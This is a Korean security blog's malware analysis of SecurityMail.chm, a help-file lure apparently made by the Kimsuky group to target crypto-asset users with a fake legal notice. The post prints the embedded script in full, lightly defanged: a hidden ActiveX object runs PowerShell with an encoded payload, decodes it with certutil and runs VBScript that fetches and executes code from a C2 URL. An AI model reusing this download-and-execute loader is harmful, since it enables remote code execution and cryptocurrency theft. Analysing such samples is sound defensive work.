꿈을꾸는 파랑새

오늘은 북한 해킹단체 김수키(Kimsuky)에서 만든 악성코드인 SecurityMail.chm에 대해 알아보겠습니다. 일단 오래간만에 chm 확장자라서 반갑기도 하고 그렇습니다.
여기서 이야기하는 chm 확장자는 Microsoft 컴파일된 HTML 도움말은 HTML 페이지 모음이며 색인 및 기타 탐색 도구로 구성된 Microsoft 독점 온라인 도움말 형식입니다.
파일명: SecurityMail.chm
사이즈:1 MB
MD5:4599ac1bbe483c73064df1353feafd01
SHA-1:a76af8176da28fdab47f9a77d50eb0e89f2b8557
SHA-256:7047878f4fbea323148f6554afe616991eb56cc327653972c4213a9017c5e66b
일단 기본적으로 해당 파일을 실행을 시키면 다음과 같이 가상자산 이용자 보호 등에 관한 법률에 관한 내용을 확인할 수가 있는데 이것은 미끼입니다.
아마도 가상자산 투자자 등을 대상으로 하지 않았을까? 생각이 됩니다.

국세법 가상자산 이용자 보호 등에 관한 법률
국세법 가상자산 이용자 보호 등에 관한 법률

더미 파일 내용

가상자산 이용자 보호 등에 관한 법률
제2장 이용자 자산의 보호 
최근 가상자산 이용자 보호 등에 관한 법의 일부 조항이 변경되었습니다. 아래에 변경 내용을 안내드립니다. 
제7조 【가상자산의 보관】
① 가상자산사업자가 이용자로부터 위탁을 받아 가상자산을 보관하는 경우 다음 각 호의 사항을 기재한 이용자명부를 작성ㆍ비치하여야 한다.
1. 이용자의 주소 및 성명
2. 이용자가 위탁하는 가상자산의 종류 및 수량
3. 이용자의 가상자산주소(가상자산의 전송 기록 및 보관 내역의 관리를 위하여 전자적으로 생성시킨 고유식별번호를 말한다)
② 가상자산사업자는 자기의 가상자산과 이용자의 가상자산을 분리하여 보관하여야 하며, 이용자로부터 위탁받은 가상자산과 동일한 종류와 수량의 가상자산을 실질적으로 보유하여야 한다.
③ 가상자산사업자는 제1항에 따라 보관하는 이용자의 가상자산 중 대통령령으로 정하는 비율 이상의 가상자산을 인터넷과 분리하여 안전하게 보관하여야 한다.
④ 가상자산사업자는 이용자의 가상자산을 대통령령으로 정하는 보안기준을 충족하는 기관에 위탁하여 보관할 수 있다.
--------------------------------------------------------------------------------
Copyright © 2025 국세청. All Rights Reserved.

HTML 에 포함된 악성코드
HTML 에 포함된 악성코드

이라고 돼 있는데 국세청이라고 하는데 국세청이 아니고 금융위원회이며 한마디로 마지막은 틀린 정보
분석을 위해서 해당인 HTML을 까보면 100줄부터 우리 북한 김수키(Kimsuky) 선생이 악의적인 행동을 위해서 약 좀 뿌린 것을 확인할 수가 있습니다.

악성코드 내용

<HR>
</DIV>
<DIV class=footer>
<P style="FONT-SIZE: 14pt">&nbsp;&nbsp;Copyright &copy; 2025 <A 
href="" target=_blank>국세청</A>. All Rights Reserved. 
</P></DIV>
</BODY>
<button id="start" style="display:none"></button>
<script>

document.getElementById('start').innerHTML = '<object (i)d="shortcut1" classid="clsid:52a2aaae-085d-4187-97ea-8c30db990436"> <PA(R)AM name="Command" value="ShortCut"> <PARAM name="Button" value(=)"Bitmap:shortcut">' + '<param name="Item1" value="' + ',power' + 'shell, -windowstyle hidden e(c)?o T24gRXJyb3IgUmVzdW1lIE5leHQ6UmFu(Z)G9taXplOnJuZF9udW0gPSBDU3RyKEludCgxMDAwMCAqIFJuZCArIDEpKTpTZXQgbXggPSBDcmVhdGVPYmplY3QoIk1pY3J(v)c29(m)IiYidC5YTUwiJiJIVCImIlRQIik6bXgub3BlbiAiR0UiJiJUIiwgImh0dHA6Ly9ub3JlcGx5bWFpbC5zcGFjZS9CaXRK(b)2(t)lci9ib290c2VydmljZS5waHA/IisidGFnPSIrcm5kX251bSsiJnF1ZXJ5PTEiLCBGYWxzZTpteC5TZW5kOkV4ZWN1dGUobXg(u)cmVzcG9uc2VUZXh0KQ== > $env:USERPROFILE\\Links\\Link(.)dat; certutil -f -decode $env:USERPROFILE\\Links\\Link(.)dat $env:USERPROFILE\\Links\\Link(.)ini; wscript.exe //b //e:vbs(c)ript $env:USERPROFILE\\Links\\Link(.)ini' + '"/>' + '<PARAM nam(e)="Item2" value(=)"273,1,1"> </object>';

shortcut1.Click();
</SCRIPT>
</HTML>

정적 악성코드 분석

drive-by download 공격 수웹 페이지의 일부
ActiveX 객체를 사용해서 Powershell을 비정상적으로 실행하고 원격에서 페이로드를 받아 실행
데이터는 Base64로 인코딩된 Powershell 스크립트를 실행을 합니다.
.dat 파일로 저장 한후 certutil을 이용해 .ini 로 디코딩 하고 wscript로 실행
최종적으로는 C2 서버(커맨드앤컨트롤) 에서 받은 스크립트를 실행하며, 감염 후 지속적 명령을 받을 수 있습니다.
1. 문맥 구조 분석
HTML 내부에서 object 태그로 ActiveX 객체를 로드
classid:52a2aaae-085d-4187-97ea-8c30db990436->Microsoft XML HTTP Request를 사용하는 COM 객체 또는 특정 커스텀 컨트롤
2.Base64 Payload
페이로드는 Base64로 돼 있음
이걸 사이버셰프(CyberChef)로 작업을 진행하면 됩니다.
Microsoft.XMLHTTP를 통해 외부 URL에서 명령어를 받아 실행
hxxp://noreplymail(.)space/BitJoker/bootstrapservice(.)php?...<-C2
Execute(mx(.)responseText)->받은 내용을 실행
즉 RCE (Remote Code Execution)

악성코드가 생성한 Link.ini 파일 내부
악성코드가 생성한 Link.ini 파일 내부

On Error Resume Next:에러가 발생해도 무시하고 다음 줄 실행
Randomize:Rnd() 함수 초기화->항상 다른 랜덤값 생성
rnd_num = CStr(Int(10000 * Rnd + 1)):1부터 10000 사이의 랜덤 숫자 문자열 생성->C2 사용
Set mx = CreateObject("Microsof"&"t.XML"&"HT"&"TP"):문자열을 쪼개서 조립
최종 객체는 Microsoft.XMLHTTP
COM 객체로서 HTTP 요청 수행이 가능
mx.open "GE"&"T", "hxxp://noreplymail(.)space/BitJoker/bootservice(.)php?tag=...:GET 방식으로 원격 URL에 요청
랜덤한 tag 값 부여
mx.Send:서버에 요청 전송
Execute(mx.responseText):가장 중요한 부분이며 서버에서 받은 응답을 코드로 실행함
bootservice(.)php가 어떤 스크립트를 확인이 필요하나 지금은 파괴되었기 때문에 자세한 정보 모름(RCE)
C:\Users\user\Links 파일에 각각 다음과 같은 파일들을 생성합니다.

악성코드 가 생성 파일 들
악성코드 가 생성 파일 들

Desktop(바로가기)
Downloads(바로가기)
Link.dat
Link.ini
파일들을 생성하면 도메인은 미국에 있고 DNS:46(.)202(.)158(.)9 이며 2024-11-07 02:05:00부터 만들어 사용했는데 URL은 코니(Konni)에서 사용을 한 이력이 있다고 하는데 2025-03-18부터 악용을 하고 있다고 합니다.

CyberChef 로 Base64 디코딩
CyberChef 로 Base64 디코딩

이렇게 저렇게 가상자산이며 가상화폐(암호화폐)탈취를 하기 위한 것이 목적이기 때문에 항상 조심을 하는 습관을 가져야 할 것이며 백신프로그램(안티 바이러스 프로그램)이 있더라도 너무 맹신하지 마시는 것을 추천 드립니다. 탐지 못 하는 일도 있기 때문입니다.

공유하기

facebook twitter kakaoTalk kakaostory naver band